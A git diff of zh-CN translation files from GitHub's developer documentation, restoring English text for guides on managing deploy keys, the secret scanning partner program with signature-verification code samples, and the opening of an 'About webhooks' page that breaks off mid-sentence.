管理部署密钥 -intro: 了解在自动化部署脚本时管理服务器上的 SSH 密钥的不同方法，以及哪种方法最适合您。 +title: Managing deploy keys +intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you. redirect_from: - /guides/managing-deploy-keys/ - /v3/guides/managing-deploy-keys @@ -14,84 +14,85 @@ topics: --- -在自动执行部署脚本时，您可以使用 SSH 代理转发、HTTPS 结合 OAuth 令牌、部署密钥或机器用户来管理服务器上的 SSH 密钥。 +You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users. -## SSH 代理转发 +## SSH agent forwarding -在许多情况下，尤其是在项目开始时，SSH 代理转发是最快和最简单的方法。 代理转发与本地开发计算机使用相同的 SSH 密钥。 +In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses. -#### 优点 +#### Pros -* 无需生成或跟踪任何新密钥。 -* 没有密钥管理；用户在服务器上具有与本地相同的权限。 -* 服务器上没有存储密钥，因此，万一服务器受到破坏，您不需要搜索并删除泄露的密钥。 +* You do not have to generate or keep track of any new keys. +* There is no key management; users have the same permissions on the server that they do locally. +* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys. -#### 缺点 +#### Cons -* 用户**必须**通过 SSH 进行部署；不能使用自动部署过程。 -* 对于 Windows 用户来说，使用 SSH 代理转发可能比较麻烦。 +* Users **must** SSH in to deploy; automated deploy processes can't be used. +* SSH agent forwarding can be troublesome to run for Windows users. -#### 设置 +#### Setup -1. 在本地开启代理转发。 更多信息请参阅[我们的 SSH 代理转发指南][ssh-agent-forwarding]。 -2. 将部署脚本设置为使用代理转发。 例如，在 bash 脚本中，启用代理转发如下所示：`ssh -A serverA 'bash -s' < deploy.sh` +1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information. +2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: +`ssh -A serverA 'bash -s' < deploy.sh` -## 使用 OAuth 令牌进行 HTTPS 克隆 +## HTTPS cloning with OAuth tokens -如果不想使用 SSH 密钥，您可以使用 [HTTPS 结合 OAuth 令牌][git-automation]。 +If you don't want to use SSH keys, you can use [HTTPS with OAuth tokens][git-automation]. -#### 优点 +#### Pros -* 有权访问服务器的任何人都可以部署仓库。 -* 用户不必更改其本地 SSH 设置。 -* 不需要多个令牌（每个用户一个）；每个服务器一个令牌就足够了。 -* 令牌可随时撤销，本质上变成一次性密码。 +* Anyone with access to the server can deploy the repository. +* Users don't have to change their local SSH settings. +* Multiple tokens (one for each user) are not needed; one token per server is enough. +* A token can be revoked at any time, turning it essentially into a one-use password. {% ifversion ghes %} -* 可以使用 [OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization) 轻松编写生成新令牌的脚本。 +* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization). {% endif %} -#### 缺点 +#### Cons -* 必须确保使用正确的访问范围配置令牌。 -* 令牌本质上是密码，必须以同样的方式进行保护。 +* You must make sure that you configure your token with the correct access scopes. +* Tokens are essentially passwords, and must be protected the same way. -#### 设置 +#### Setup -请参阅[使用令牌的 Git 自动化指南][git-automation]。 +See [our guide on Git automation with tokens][git-automation]. -## 部署密钥 +## Deploy keys {% data reusables.repositories.deploy-keys %} {% data reusables.repositories.deploy-keys-write-access %} -#### 优点 +#### Pros -* 有权访问仓库和服务器的任何人都能够部署项目。 -* 用户不必更改其本地 SSH 设置。 -* 默认情况下，部署密钥是只读的，但在将它们添加到仓库时，您可以授予其写入权限。 +* Anyone with access to the repository and server has the ability to deploy the project. +* Users don't have to change their local SSH settings. +* Deploy keys are read-only by default, but you can give them write access when adding them to a repository. -#### 缺点 +#### Cons -* 部署密钥只授予对单个仓库的访问权限。 较复杂的项目可能要将多个仓库拉取到同一服务器。 -* 部署密钥通常不受密码保护，因此在服务器遭到破坏时可轻松访问密钥。 +* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server. +* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised. -#### 设置 +#### Setup -1. 在服务器上[运行 `ssh-keygen` 进程][generating-ssh-keys]，并记住保存生成的公共/私有 RSA 密钥对的位置。 -2. 在 {% data variables.product.product_name %} 的右上角，单击您的个人资料照片，然后单击 **Your profile（您的个人资料）**。 ![个人资料导航](/assets/images/profile-page.png) -3. 在个人资料页面上，单击 **Repositories（仓库）**，然后单击仓库的名称。 ![仓库链接](/assets/images/repos.png) -4. 在仓库中，单击 **Settings（设置）**。 ![仓库设置](/assets/images/repo-settings.png) -5. 在边栏中，单击 **Deploy Keys（部署密钥）**，然后单击 **Add deploy key（添加部署密钥）**。 ![添加部署密钥链接](/assets/images/add-deploy-key.png) -6. 提供标题，粘贴到公钥中。 ![部署密钥页面](/assets/images/deploy-key.png) -7. 如果希望此密钥拥有对仓库的写入权限，请选择 **Allow write access（允许写入权限）**。 具有写入权限的部署密钥允许将部署推送到仓库。 -8. 单击 **Add key（添加密钥）**。 +1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public/private rsa key pair. +2. In the upper-right corner of any {% data variables.product.product_name %} page, click your profile photo, then click **Your profile**. ![Navigation to profile](/assets/images/profile-page.png) +3. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png) +4. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png) +5. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png) +6. Provide a title, paste in your public key. ![Deploy Key page](/assets/images/deploy-key.png) +7. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository. +8. Click **Add key**. -#### 在一台服务器上使用多个仓库 +#### Using multiple repositories on one server -如果在一台服务器上使用多个仓库，则需要为每个仓库生成专用密钥对。 不能对多个仓库重复使用一个部署密钥。 +If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories. -在服务器的 SSH 配置文件（通常为 `~/.ssh/config`）中，为每个仓库添加一个别名条目。 例如： +In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example: ```bash Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0 @@ -107,81 +108,84 @@ Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif * `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias. * `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias. -然后可以使用主机名的别名通过 SSH 与仓库进行交互，SSH 将使用分配给该别名的唯一部署密钥。 例如： +You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example: ```bash $ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git ``` -## 服务器到服务器令牌 +## Server-to-server tokens -如果您的服务器需要访问一个或多个组织的仓库，您可以使用 GitHub 应用程序来定义您需要的访问权限，然后从该 GitHub 应用程序生成 _tightly-scoped_、_server-to-server_ 令牌。 服务器到服务器令牌可以扩展到单个或多个仓库，并且可以拥有细致的权限。 例如，您可以生成对仓库内容具有只读权限的令牌。 +If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. -由于 GitHub 应用程序是 {% data variables.product.product_name %} 上的一类角色，因此服务器到服务器令牌不限于任何 GitHub 用户，这使它们堪比“服务令牌”。 此外，服务器到服务器令牌有专门的速率限制，与它们所依据的组织规模相当。 更多信息请参阅“[GitHub 应用程序的速率限制](/developers/apps/rate-limits-for-github-apps)”。 +Since GitHub Apps are a first class actor on {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for Github Apps](/developers/apps/rate-limits-for-github-apps). -#### 优点 +#### Pros -- 具有明确定义的权限集和到期时间的严格范围令牌（如果使用 API 手动撤销，则为 1 小时或更短时间）。 -- 随组织而增长的专用速率限制。 -- 与 GitHub 用户身份脱钩，因此他们不消耗任何许可席位。 -- 从未授予密码，因此无法直接登录。 +- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API). +- Dedicated rate limits that grow with your organization. +- Decoupled from GitHub user identities, so they do not consume any licensed seats. +- Never granted a password, so cannot be directly signed in to. -#### 缺点 +#### Cons -- 创建 GitHub 应用程序需要其他设置。 -- 服务器到服务器令牌 1 小时后过期，因此需要重新生成，通常是按需使用代码。 +- Additional setup is needed to create the GitHub App. +- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code. -#### 设置 +#### Setup -1. 确定您的 GitHub 应用程序是公开的还是私有的。 如果您的 GitHub 应用程序将仅在您组织内的仓库上操作，您可能希望它是私有的。 -1. 确定 GitHub 应用程序所需的权限，例如对仓库内容的只读访问权限。 -1. 通过组织的设置页面创建您的 GitHub 应用程序。 更多信息请参阅[创建 GitHub 应用程序](/developers/apps/creating-a-github-app)。 -1. 记下您的 GitHub 应用程序 `id`。 -1. 生成并下载 GitHub 应用程序的私钥，并妥善保管。 更多信息请参阅[生成私钥](/developers/apps/authenticating-with-github-apps#generating-a-private-key)。 -1. 将 GitHub 应用程序安装到需要执行它的仓库中，您可以在组织中的所有仓库上选择性地安装 GitHub 应用程序。 -1. 识别代表 GitHub 应用程序与它可以访问的组织仓库之间连接的 `installation_id`。 每个 GitHub 应用程序和组织对最多只有一个 `installation_id`。 您可以通过[为经过验证的应用程序获取组织安装](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app)来识别此 `installation_id`。 这需要使用 JWT 作为 GitHub 应用程序进行身份验证，更多信息请参阅[作为 GitHub 应用程序进行身份验证](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)。 -1. 使用相应的 REST API 端点 [为应用创建安装访问令牌](/rest/reference/apps#create-an-installation-access-token-for-an-app)生成服务器到服务器令牌。 这需要使用 JWT 作为 GitHub 应用程序进行身份验证，更多信息请参阅[作为 GitHub 应用程序进行身份验证](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)以及[作为安装进行身份验证](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)。 -1. 使用此服务器到服务器令牌，通过 REST 或 GraphQL API 或者通过 Git 客户端与您的仓库进行交互。 +1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private. +1. Determine the permissions your GitHub App requires, such as read-only access to repository contents. +1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app). +1. Note your GitHub App `id`. +1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key). +1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization. +1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access. Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app). +1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation). +1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client. -## 机器用户 +## Machine users -如果您的服务器需要访问多个仓库，您可以创建一个新的 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 帐户并附加一个专用于自动化的 SSH 密钥。 由于此帐户在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上不会被人使用，它被称为_机器用户_。 您可以将机器用户添加为个人仓库上的[协作者][collaborator]（授予读取和写入权限）、添加为组织仓库上的[外部协作者][outside-collaborator]（授予读取、写入或管理员权限）或添加到对需要自动化的仓库具有访问权限的[团队][team]（授予团队权限）。 +If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team). {% ifversion fpt or ghec %} {% tip %} -**提示：**我们的[服务条款][tos]规定： +**Tip:** Our [terms of service][tos] state: -> *不允许通过“自动程序”或其他自动方法注册帐户。* +> *Accounts registered by "bots" or other automated methods are not permitted.* -这意味着您不能自动创建帐户。 但是，如果要创建一个机器用户来自动化任务（例如在项目或组织中部署脚本），那就太酷了。 +This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool. {% endtip %} {% endif %} -#### 优点 +#### Pros -* 有权访问仓库和服务器的任何人都能够部署项目。 -* 没有（人类）用户需要更改其本地 SSH 设置。 -* 不需要多个密钥；每台服务器一个就足够了。 +* Anyone with access to the repository and server has the ability to deploy the project. +* No (human) users need to change their local SSH settings. +* Multiple keys are not needed; one per server is adequate. -#### 缺点 +#### Cons -* 只有组织才能将机器用户限制为只读访问。 个人仓库始终授予协作者读取/写入权限。 -* 机器用户密钥（如部署密钥）通常不受密码保护。 +* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access. +* Machine user keys, like deploy keys, are usually not protected by a passphrase. -#### 设置 +#### Setup -1. 在服务器上[运行 `ssh-keygen` 进程][generating-ssh-keys]，并将公钥附加到机器用户帐户。 -2. 授予机器用户帐户访问要自动化的仓库的权限。 为此，您可以将帐户添加为[协作者][collaborator]、添加为[外部协作者][outside-collaborator]或添加到组织中的[团队][team]。 +1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account. +2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization. [ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/ [generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key [tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/ [git-automation]: /articles/git-automation-with-oauth-tokens -[git-automation]: /articles/git-automation-with-oauth-tokens [collaborator]: /articles/inviting-collaborators-to-a-personal-repository [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization [team]: /articles/adding-organization-members-to-a-team + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) + diff --git a/translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md b/translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md index d00143aaa9..a67ec00631 100644 --- a/translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md +++ b/translations/zh-CN/content/developers/overview/secret-scanning-partner-program.md @@ -1,6 +1,6 @@ --- -title: 密码扫描合作伙伴计划 -intro: '作为服务提供者，您可以与 {% data variables.product.prodname_dotcom %} 合作，通过密码扫描保护您的密码令牌格式，该扫描将搜索意外提交的密码格式，并且可以发送到服务提供者的验证端点。' +title: Secret scanning partner program +intro: 'As a service provider, you can partner with {% data variables.product.prodname_dotcom %} to have your secret token formats secured through secret scanning, which searches for accidental commits of your secret format and can be sent to a service provider''s verify endpoint.' miniTocMaxHeadingLevel: 3 redirect_from: - /partnerships/token-scanning/ @@ -11,55 +11,55 @@ versions: ghec: '*' topics: - API -shortTitle: 秘密扫描 +shortTitle: Secret scanning --- -{% data variables.product.prodname_dotcom %} 扫描仓库查找已知的密码格式，以防止欺诈性使用意外提交的凭据。 {% data variables.product.prodname_secret_scanning_caps %} 默认情况下发生在公共仓库上，但仓库管理员或组织所有者可以在私有仓库上启用它。 作为服务提供者，您可以与 {% data variables.product.prodname_dotcom %} 合作，让您的密码格式包含在我们的 {% data variables.product.prodname_secret_scanning %} 中。 +{% data variables.product.prodname_dotcom %} scans repositories for known secret formats to prevent fraudulent use of credentials that were committed accidentally. {% data variables.product.prodname_secret_scanning_caps %} happens by default on public repositories, and can be enabled on private repositories by repository administrators or organization owners. As a service provider, you can partner with {% data variables.product.prodname_dotcom %} so that your secret formats are included in our {% data variables.product.prodname_secret_scanning %}. -在公共仓库中找到密码格式的匹配项时，将发送有效负载到您选择的 HTTP 端点。 +When a match of your secret format is found in a public repository, a payload is sent to an HTTP endpoint of your choice. -在为 {% data variables.product.prodname_secret_scanning %} 配置的私有仓库中找到密码格式的匹配项时，仓库管理员和提交者将收到警报，并且可以查看和管理 {% data variables.product.prodname_dotcom %} 上的 {% data variables.product.prodname_secret_scanning %} 结果。 更多信息请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)”。 +When a match of your secret format is found in a private repository configured for {% data variables.product.prodname_secret_scanning %}, then repository admins and the committer are alerted and can view and manage the {% data variables.product.prodname_secret_scanning %} result on {% data variables.product.prodname_dotcom %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)." -本文介绍作为服务提供者如何与 {% data variables.product.prodname_dotcom %} 合作并加入 {% data variables.product.prodname_secret_scanning %} 合作伙伴计划。 +This article describes how you can partner with {% data variables.product.prodname_dotcom %} as a service provider and join the {% data variables.product.prodname_secret_scanning %} partner program. -## {% data variables.product.prodname_secret_scanning %} 流程 +## The {% data variables.product.prodname_secret_scanning %} process -#### {% data variables.product.prodname_secret_scanning %} 如何在公共仓库中工作 +#### How {% data variables.product.prodname_secret_scanning %} works in a public repository -下图总结了在公共仓库中进行 {% data variables.product.prodname_secret_scanning %} 并将任何匹配项发送到服务提供者的验证端点的流程。 +The following diagram summarizes the {% data variables.product.prodname_secret_scanning %} process for public repositories, with any matches sent to a service provider's verify endpoint. -![显示扫描密码并向服务提供者的验证端点发送匹配项的流程图](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %} 流程") +![Flow diagram showing the process of scanning for a secret and sending matches to a service provider's verify endpoint](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %} flow") -## 在 {% data variables.product.prodname_dotcom %} 上加入 {% data variables.product.prodname_secret_scanning %} 计划 +## Joining the {% data variables.product.prodname_secret_scanning %} program on {% data variables.product.prodname_dotcom %} -1. 联系 {% data variables.product.prodname_dotcom %} 以启动流程。 -1. 识别要扫描的相关密码，并创建正则表达式来捕获它们。 -1. 针对在公共仓库中发现的密码匹配项，创建一个密码警报服务，以便从 {% data variables.product.prodname_dotcom %} 接受包含 {% data variables.product.prodname_secret_scanning %} 消息有效负载的 web 挂钩。 -1. 在密码警报服务中实施签名验证。 -1. 在密码警报服务中实施密码撤销和用户通知。 -1. 提供误报的反馈（可选）。 +1. Contact {% data variables.product.prodname_dotcom %} to get the process started. +1. Identify the relevant secrets you want to scan for and create regular expressions to capture them. +1. For secret matches found in public repositories, create a secret alert service which accepts webhooks from {% data variables.product.prodname_dotcom %} that contain the {% data variables.product.prodname_secret_scanning %} message payload. +1. Implement signature verification in your secret alert service. +1. Implement secret revocation and user notification in your secret alert service. +1. Provide feedback for false positives (optional). -### 联系 {% data variables.product.prodname_dotcom %} 以启动流程 +### Contact {% data variables.product.prodname_dotcom %} to get the process started -要启动注册流程，请发送电子邮件至 secret-scanning@github.com。 +To get the enrollment process started, email secret-scanning@github.com. -您将收到有关 {% data variables.product.prodname_secret_scanning %} 计划的详细信息，您需要同意 {% data variables.product.prodname_dotcom %} 的参与条款才能继续。 +You will receive details on the {% data variables.product.prodname_secret_scanning %} program, and you will need to agree to {% data variables.product.prodname_dotcom %}'s terms of participation before proceeding. -### 识别您的密码并创建正则表达式 +### Identify your secrets and create regular expressions -要扫描您的密码，{% data variables.product.prodname_dotcom %} 需要您要包含在 {% data variables.product.prodname_secret_scanning %} 计划中的每个密码的以下信息： +To scan for your secrets, {% data variables.product.prodname_dotcom %} needs the following pieces of information for each secret that you want included in the {% data variables.product.prodname_secret_scanning %} program: -* 密码类型的唯一、人类可读的名称。 稍后我们将使用它来生成消息有效负载中的 `Type` 值。 -* 查找密码类型的正则表达式。 尽可能精确，因为这样可以减少误报的数量。 -* 从 {% data variables.product.prodname_dotcom %} 接收消息的端点的 URL。 对于每个密码类型，这不必是唯一的。 +* A unique, human readable name for the secret type. We'll use this to generate the `Type` value in the message payload later. +* A regular expression which finds the secret type. Be as precise as possible, because this will reduce the number of false positives. +* The URL of the endpoint that receives messages from {% data variables.product.prodname_dotcom %}. This does not have to be unique for each secret type. -将此信息发送到 secret-scanning@github.com。 +Send this information to secret-scanning@github.com. -### 创建密码警报服务 +### Create a secret alert service -在您提供给我们的 URL 上创建一个可访问互联网的公共 HTTP 端点。 在公共仓库中找到正则表达式的匹配项时，{% data variables.product.prodname_dotcom %} 将发送 HTTP `POST` 消息到您的端点。 +Create a public, internet accessible HTTP endpoint at the URL you provided to us. When a match of your regular expression is found in a public repository, {% data variables.product.prodname_dotcom %} will send an HTTP `POST` message to your endpoint. -#### 发送到端点的 POST 示例 +#### Example POST sent to your endpoint ```http POST / HTTP/2 @@ -73,33 +73,34 @@ Content-Length: 0123 [{"token":"NMIfyYncKcRALEXAMPLE","type":"mycompany_api_token","url":"https://github.com/octocat/Hello-World/blob/12345600b9cbe38a219f39a9941c9319b600c002/foo/bar.txt"}] ``` -消息正文是一个 JSON 数组，其中包含一个或多个具有以下内容的对象。 找到多个匹配项时，{% data variables.product.prodname_dotcom %} 可能发送一条包含多个密码匹配项的消息。 您的端点应该能够在不超时的情况下处理包含大量匹配项的请求。 +The message body is a JSON array that contains one or more objects with the following contents. When multiple matches are found, {% data variables.product.prodname_dotcom %} may send a single message with more than one secret match. Your endpoint should be able to handle requests with a large number of matches without timing out. -* **令牌**：密码匹配项的值。 -* **类型**：您提供的用于识别正则表达式的唯一名称。 -* **URL**：在其中找到匹配项的公共提交 URL。 +* **Token**: The value of the secret match. +* **Type**: The unique name you provided to identify your regular expression. +* **URL**: The public commit URL where the match was found. -### 在密码警报服务中实施签名验证 +### Implement signature verification in your secret alert service -我们强烈建议您在密码警报服务中实施签名验证，以确保您收到的消息确实来自 {% data variables.product.prodname_dotcom %}，而不是恶意消息。 +We strongly recommend you implement signature validation in your secret alert service to ensure that the messages you receive are genuinely from {% data variables.product.prodname_dotcom %} and not malicious. -您可以从 https://api.github.com/meta/public_keys/secret_scanning 检索 {% data variables.product.prodname_dotcom %} 密码扫描公钥，并使用 `ECDSA-NIST-P256V1-SHA256` 算法验证消息。 +You can retrieve the {% data variables.product.prodname_dotcom %} secret scanning public key from https://api.github.com/meta/public_keys/secret_scanning and validate the message using the `ECDSA-NIST-P256V1-SHA256` algorithm. {% note %} -**注意**： 当您向上面的公钥端点发送请求时，可能会达到速率限制。 为了避免达到速率限制，您可以使用下面示例建议的个人访问令牌（无需范围），或使用条件请求。 更多信息请参阅“[开始使用 REST API](/rest/guides/getting-started-with-the-rest-api#conditional-requests)”。 +**Note**: When you send a request to the public key endpoint above, you may hit rate limits. To avoid hitting rate limits, you can use a personal access token (no scopes required) as suggested in the samples below, or use a conditional request. For more information, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api#conditional-requests)." {% endnote %} -假设您收到以下消息，下面的代码段演示如何执行签名验证。 该代码假设您已经使用生成的 PAT 设置了一个名为 `GITHUB_PRODUCTION_TOKEN` 的环境变量 (https://github.com/settings/tokens)，以避免达到速率限制。 PAT 不需要任何范围/权限。 +Assuming you receive the following message, the code snippets below demonstrate how you could perform signature validation. +The code snippets assume you've set an environment variable called `GITHUB_PRODUCTION_TOKEN` with a generated PAT (https://github.com/settings/tokens) to avoid hitting rate limits. The PAT does not need any scopes/permissions. {% note %} -**注意**：签名是使用原始消息正文生成的。 因此，您也必须使用原始消息正文进行签名验证，而不是解析和串联 JSON，以避免重新排列消息或更改间距，这一点很重要。 +**Note**: The signature was generated using the raw message body. So it's important you also use the raw message body for signature validation, instead of parsing and stringifying the JSON, to avoid rearranging the message or changing spacing. {% endnote %} -**发送到验证端点的消息示例** +**Sample message sent to verify endpoint** ```http POST / HTTP/2 Host: HOST @@ -112,7 +113,7 @@ Content-Length: 0000 [{"token":"some_token","type":"some_type","url":"some_url"}] ``` -**Go 中的验证示例** +**Validation sample in Go** ```golang package main @@ -242,7 +243,7 @@ type asn1Signature struct { } ``` -**Ruby 中的验证示例** +**Validation sample in Ruby** ```ruby require 'openssl' require 'net/http' @@ -282,7 +283,7 @@ openssl_key = OpenSSL::PKey::EC.new(current_key) puts openssl_key.verify(OpenSSL::Digest::SHA256.new, Base64.decode64(signature), payload.chomp) ``` -**JavaScript 中的验证示例** +**Validation sample in JavaScript** ```js const crypto = require("crypto"); const axios = require("axios"); @@ -324,17 +325,17 @@ const verify_signature = async (payload, signature, keyID) => { }; ``` -### 在密码警报服务中实施密码撤销和用户通知 +### Implement secret revocation and user notification in your secret alert service -对于公共仓库中的 {% data variables.product.prodname_secret_scanning %}，您可以增强密码警报服务，以撤销泄露的密码并通知受影响的用户。 如何在密码警报服务中实现此功能取决于您，但我们建议您考虑 {% data variables.product.prodname_dotcom %}向您发送的公开和泄露示警消息所涉及的任何密码。 +For {% data variables.product.prodname_secret_scanning %} in public repositories, you can enhance your secret alert service to revoke the exposed secrets and notify the affected users. How you implement this in your secret alert service is up to you, but we recommend considering any secrets that {% data variables.product.prodname_dotcom %} sends you messages about as public and compromised. -### 提供误报的反馈 +### Provide feedback for false positives -我们在合作伙伴响应中收集有关检测到的各个密码有效性的反馈。 如果您愿意参与，请发送电子邮件到 secret-scanning@github.com。 +We collect feedback on the validity of the detected individual secrets in partner responses. If you wish to take part, email us at secret-scanning@github.com. -向您报告密码时，我们会发送一个 JSON 数组，其中有包含令牌、类型标识符和提交 URL 的每个元素。 当您向我们发送反馈时，您将向我们发送有关检测到的令牌是真凭据还是假凭据的信息。 我们接受以下格式的反馈。 +When we report secrets to you, we send a JSON array with each element containing the token, type identifier, and commit URL. When you send us feedback, you send us information about whether the detected token was a real or false credential. We accept feedback in the following formats. -您可以向我们发送原始令牌： +You can send us the raw token: ``` [ @@ -345,7 +346,7 @@ const verify_signature = async (payload, signature, keyID) => { } ] ``` -您还可以使用 SHA-256 对原始令牌执行单向加密哈希后，以哈希形式提供令牌： +You may also provide the token in hashed form after performing a one way cryptographic hash of the raw token using SHA-256: ``` [ @@ -356,13 +357,13 @@ const verify_signature = async (payload, signature, keyID) => { } ] ``` -几个要点： -- 您应该只向我们发送令牌的原始形式 ("token_raw") 或哈希形式，而不要同时发送这两种形式。 -- 对于原始令牌的哈希形式，您只能使用 SHA-256 对令牌进行哈希处理，而不能使用任何其他哈希算法。 -- 用标签指示令牌为实报 ("true_positive") 还是误报 ("false_positive")。 只允许使用这两个小写的文字字符串。 +A few important points: +- You should only send us either the raw form of the token ("token_raw"), or the hashed form ("token_hash"), but not both. +- For the hashed form of the raw token, you can only use SHA-256 to hash the token, not any other hashing algorithm. +- The label indicates whether the token is a true ("true_positive") or a false positive ("false_positive"). Only these two lowercased literal strings are allowed. {% note %} -**注：**对于提供误报数据的合作伙伴，我们的请求超时设置为更高（即 30 秒）。 如果您需要超过 30 秒的超时设置，请发送电子邮件至 secret-scanning@github.com。 +**Note:** Our request timeout is set to be higher (that is, 30 seconds) for partners who provide data about false positives. If you require a timeout higher than 30 seconds, email us at secret-scanning@github.com. {% endnote %} diff --git a/translations/zh-CN/content/developers/webhooks-and-events/webhooks/about-webhooks.md b/translations/zh-CN/content/developers/webhooks-and-events/webhooks/about-webhooks.md index d7e654bc06..c5fbc4d8c7 100644 --- a/translations/zh-CN/content/developers/webhooks-and-events/webhooks/about-webhooks.md +++ b/translations/zh-CN/content/developers/webhooks-and-events/webhooks/about-webhooks.md @@ -1,6 +1,6 @@ --- -title: 关于 web 挂钩 -intro: 了解 Webhook 如何帮助您构建和设置集成的基础知识。 +title: About webhooks +intro: Learn the basics of how webhooks work to help you build and set up integrations. redirect_from: - /webhooks - /developers/webhooks-and-events/about-webhooks @@ -12,26 +12,25 @@ versions: topics: - Webhooks --- +Webhooks allow you to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), which subscribe to certain events on GitHub.com. When one of those events is triggered, we'll send a HTTP POST payload to the webhook's configured URL. Webhooks can be used to update an external issue tracker, trigger CI builds, update a backup mirror, or even deploy to your production server. You're only limited by your imagination. -Web 挂钩允许您构建或设置集成，例如 [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) 或 [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/)，以订阅 GitHub.com 上的某些事件。 当触发其中某个事件时，我们将向 web 挂钩的配置 